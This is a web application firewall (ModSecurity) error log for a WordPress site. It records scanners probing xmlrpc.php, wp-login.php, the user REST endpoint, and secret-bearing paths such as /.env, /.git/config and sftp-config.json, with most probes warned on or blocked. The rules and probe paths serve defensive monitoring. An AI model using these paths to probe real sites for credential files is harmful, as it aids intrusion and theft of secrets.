[Sat Jan 24 22:29:20.203988 2026] [:error] [pid 40903:tid 40951] [client 79.137.71.10:34324] [client 79.137.71.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.137.71.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXTXQBxw3xvyqXTcGl--mAAAAEw"]
[Sat Jan 24 22:29:22.249711 2026] [:error] [pid 40905:tid 40983] [client 8.210.217.227:43018] [client 8.210.217.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.210.217.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXTXQl3rUAneNkh7mXDb_wAAAJE"]
[Sat Jan 24 22:29:23.571098 2026] [:error] [pid 41009:tid 41017] [client 79.137.71.10:34334] [client 79.137.71.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.137.71.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXTXQ2rewfoFUDD3TM3UXwAAAMY"]
[Sat Jan 24 22:30:31.802049 2026] [:error] [pid 22900:tid 22922] [client 35.225.188.22:51718] [client 35.225.188.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.188.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXTXh1r6h1PpdlYV7gUZCAAAARM"]
[Sat Jan 24 22:30:34.390040 2026] [:error] [pid 40903:tid 40942] [client 35.225.188.22:51728] [client 35.225.188.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.188.22, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXTXihxw3xvyqXTcGl--xAAAAEM"]
[Sat Jan 24 22:40:14.677784 2026] [:error] [pid 40902:tid 40912] [client 172.183.94.131:42389] [client 172.183.94.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aXTZzgSCceZpurDgOesFBwAAAAA"]
[Sat Jan 24 22:55:45.035500 2026] [:error] [pid 40903:tid 40945] [client 159.223.62.211:54602] [client 159.223.62.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.62.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXTdcRxw3xvyqXTcGl_DRAAAAEY"]
[Sat Jan 24 22:55:46.757909 2026] [:error] [pid 40903:tid 40940] [client 159.223.62.211:54602] [client 159.223.62.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.62.211, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXTdchxw3xvyqXTcGl_DRgAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 25 00:35:31.211578 2026] [:error] [pid 14976:tid 14991] [client 66.175.44.55:33676] [client 66.175.44.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.175.44.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXT002vdigydYOB2KS-eeQAAAY0"]
[Sun Jan 25 00:57:05.327813 2026] [:error] [pid 22900:tid 22905] [client 64.89.163.25:58442] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXT54Vr6h1PpdlYV7gUxbAAAAQI"]
[Sun Jan 25 00:57:06.601404 2026] [:error] [pid 40905:tid 40989] [client 64.89.163.25:58881] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXT54l3rUAneNkh7mXDzKAAAAJc"]
[Sun Jan 25 00:57:07.871489 2026] [:error] [pid 22900:tid 22917] [client 64.89.163.25:59344] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXT541r6h1PpdlYV7gUx4AAAAQ4"]
[Sun Jan 25 00:57:09.139235 2026] [:error] [pid 22900:tid 22911] [client 64.89.163.25:59791] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXT55Vr6h1PpdlYV7gUx7wAAAQg"]
[Sun Jan 25 00:57:10.406152 2026] [:error] [pid 40902:tid 40929] [client 64.89.163.25:60163] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXT55gSCceZpurDgOese-AAAABE"]
[Sun Jan 25 02:10:34.769396 2026] [:error] [pid 41009:tid 41031] [client 194.63.239.143:33466] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXULGmrewfoFUDD3TM0U6QAAANQ"]
[Sun Jan 25 02:10:36.994299 2026] [:error] [pid 41009:tid 41014] [client 194.63.239.143:33466] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXULHGrewfoFUDD3TM0U7wAAAMM"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 25 02:54:57.395674 2026] [:error] [pid 41009:tid 41022] [client 216.250.113.204:48970] [client 216.250.113.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.113.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXUVgWrewfoFUDD3TM0jZwAAAMs"]
[Sun Jan 25 02:54:59.102932 2026] [:error] [pid 41009:tid 41012] [client 216.250.113.204:48970] [client 216.250.113.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.113.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXUVg2rewfoFUDD3TM0jbwAAAME"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 25 03:29:08.899871 2026] [:error] [pid 22822:tid 22843] [client 79.120.76.144:49488] [client 79.120.76.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aXUdhO6QvmTwG24o-R9iGgAAANM"]
[Sun Jan 25 03:55:29.731669 2026] [:error] [pid 53419:tid 53429] [client 43.135.140.225:59452] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXUjsSNxBUypy_ALgwMl6gAAAAE"]
[Sun Jan 25 03:55:56.011654 2026] [:error] [pid 53521:tid 53546] [client 49.36.144.100:55240] [client 49.36.144.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.144.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXUjzEAzLL1HphkAdX5WswAAAM0"]
[Sun Jan 25 04:02:02.436347 2026] [:error] [pid 53419:tid 53437] [client 49.36.144.100:64299] [client 49.36.144.100] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXUlOiNxBUypy_ALgwMnKgAAAAk"]
[Sun Jan 25 04:03:48.499515 2026] [:error] [pid 53420:tid 53456] [client 49.36.144.100:63226] [client 49.36.144.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.144.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXUlpI5y-t2ZKNqnnbVbaAAAAEA"]
[Sun Jan 25 04:05:17.570360 2026] [:error] [pid 53521:tid 53539] [client 49.36.144.100:51106] [client 49.36.144.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.144.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXUl_UAzLL1HphkAdX5ZzwAAAMY"]
[Sun Jan 25 04:06:49.292489 2026] [:error] [pid 53421:tid 53502] [client 49.36.144.100:60721] [client 49.36.144.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.144.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXUmWZKP_6Rogdk6hdGDhgAAAJM"]
[Sun Jan 25 04:08:23.589375 2026] [:error] [pid 53421:tid 53507] [client 49.36.144.100:61354] [client 49.36.144.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.144.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXUmt5KP_6Rogdk6hdGD2wAAAJg"]
[Sun Jan 25 04:10:03.424617 2026] [:error] [pid 53521:tid 53555] [client 194.63.239.143:49242] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXUnG0AzLL1HphkAdX5baAAAANY"]
[Sun Jan 25 04:10:05.366614 2026] [:error] [pid 53521:tid 53540] [client 194.63.239.143:49242] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXUnHUAzLL1HphkAdX5bagAAAMc"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 25 08:45:23.094744 2026] [:error] [pid 33687:tid 33692] [client 139.59.236.24:56814] [client 139.59.236.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.236.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXVno4c6VUyZP5DZSy7p2AAAAQI"]
[Sun Jan 25 08:45:25.600319 2026] [:error] [pid 33687:tid 33698] [client 139.59.236.24:56814] [client 139.59.236.24] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXVnpYc6VUyZP5DZSy7p3gAAAQg"]
[Sun Jan 25 08:45:27.182640 2026] [:error] [pid 33687:tid 33699] [client 139.59.236.24:56814] [client 139.59.236.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.236.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXVnp4c6VUyZP5DZSy7p4AAAAQk"]
[Sun Jan 25 08:45:28.980410 2026] [:error] [pid 33687:tid 33705] [client 139.59.236.24:63724] [client 139.59.236.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.236.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXVnqIc6VUyZP5DZSy7p4QAAAQ8"]
[Sun Jan 25 08:45:30.743031 2026] [:error] [pid 53419:tid 53450] [client 139.59.236.24:56904] [client 139.59.236.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.236.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXVnqiNxBUypy_ALgwN0fAAAABY"]
[Sun Jan 25 08:45:32.603486 2026] [:error] [pid 53420:tid 53472] [client 139.59.236.24:62866] [client 139.59.236.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.236.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXVnrI5y-t2ZKNqnnbWl4wAAAFA"]
[Sun Jan 25 08:45:34.535593 2026] [:error] [pid 53521:tid 53536] [client 139.59.236.24:62448] [client 139.59.236.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.236.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXVnrkAzLL1HphkAdX6wNQAAAMM"]
[Sun Jan 25 08:45:34.535747 2026] [:error] [pid 53521:tid 53536] [client 139.59.236.24:62448] [client 139.59.236.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 139.59.236.24, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXVnrkAzLL1HphkAdX6wNQAAAMM"]
[Sun Jan 25 10:37:29.841437 2026] [:error] [pid 53420:tid 53460] [client 103.77.106.81:63135] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aXWB6Y5y-t2ZKNqnnbXCfwAAAEQ"]
[Sun Jan 25 10:37:30.218272 2026] [:error] [pid 33687:tid 33706] [client 103.77.106.81:63733] [client 103.77.106.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aXWB6oc6VUyZP5DZSy4ZxgAAARA"]
[Sun Jan 25 11:05:41.924925 2026] [:error] [pid 9070:tid 9090] [client 169.150.203.251:45930] [client 169.150.203.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXWIhbLNl7Vxe1mYetHT8QAAAVI"]
[Sun Jan 25 11:05:45.353007 2026] [:error] [pid 9070:tid 9088] [client 169.150.203.251:45930] [client 169.150.203.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXWIibLNl7Vxe1mYetHT9QAAAVA"]
[Sun Jan 25 11:05:46.761426 2026] [:error] [pid 9070:tid 9096] [client 169.150.203.251:45930] [client 169.150.203.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXWIirLNl7Vxe1mYetHT-QAAAVg"]
[Sun Jan 25 11:05:48.493517 2026] [:error] [pid 53521:tid 53538] [client 169.150.203.251:58006] [client 169.150.203.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXWIjEAzLL1HphkAdX7ZGAAAAMU"]
[Sun Jan 25 11:05:50.243265 2026] [:error] [pid 53420:tid 53456] [client 169.150.203.251:33814] [client 169.150.203.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.150.203.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXWIjo5y-t2ZKNqnnbXJkAAAAEA"]
[Sun Jan 25 11:29:58.167707 2026] [:error] [pid 9122:tid 9144] [client 43.166.247.82:59670] [client 43.166.247.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXWONmgJ3AtoqtQp2gSB8gAAAZQ"]
[Sun Jan 25 12:41:27.780317 2026] [:error] [pid 9122:tid 9141] [client 182.44.67.97:47133] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXWe92gJ3AtoqtQp2gSc0gAAAZE"]
[Sun Jan 25 13:10:02.625505 2026] [:error] [pid 33687:tid 33709] [client 43.153.54.14:41760] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXWlqoc6VUyZP5DZSy5DVwAAARM"]
[Sun Jan 25 13:31:16.248670 2026] [:error] [pid 9070:tid 9086] [client 220.158.233.198:5614] [client 220.158.233.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.233.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXWqpLLNl7Vxe1mYetH9EQAAAU4"]
[Sun Jan 25 13:31:20.978467 2026] [:error] [pid 9070:tid 9075] [client 220.158.233.198:5614] [client 220.158.233.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.233.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXWqqLLNl7Vxe1mYetH9FQAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sun Jan 25 18:57:10.855659 2026] [:error] [pid 9070:tid 9077] [client 123.56.84.225:49256] [client 123.56.84.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.56.84.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXX3BrLNl7Vxe1mYetFYzAAAAUU"]
[Sun Jan 25 18:57:15.045482 2026] [:error] [pid 9122:tid 9128] [client 123.56.84.225:49270] [client 123.56.84.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.56.84.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXX3C2gJ3AtoqtQp2gQjOgAAAYQ"]
[Sun Jan 25 18:57:16.527939 2026] [:error] [pid 9070:tid 9094] [client 182.44.12.37:35760] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXX3DLLNl7Vxe1mYetFY0gAAAVY"]
[Sun Jan 25 19:03:38.584202 2026] [:error] [pid 53420:tid 53465] [client 103.179.56.102:55206] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXX4io5y-t2ZKNqnnbUozQAAAEk"]
[Sun Jan 25 19:03:44.034356 2026] [:error] [pid 53420:tid 53478] [client 103.179.56.102:55206] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXX4kI5y-t2ZKNqnnbUo1gAAAFY"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 26 00:04:45.462085 2026] [:error] [pid 53521:tid 53552] [client 103.48.194.67:43926] [client 103.48.194.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.48.194.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXY_HUAzLL1HphkAdX565wAAANM"]
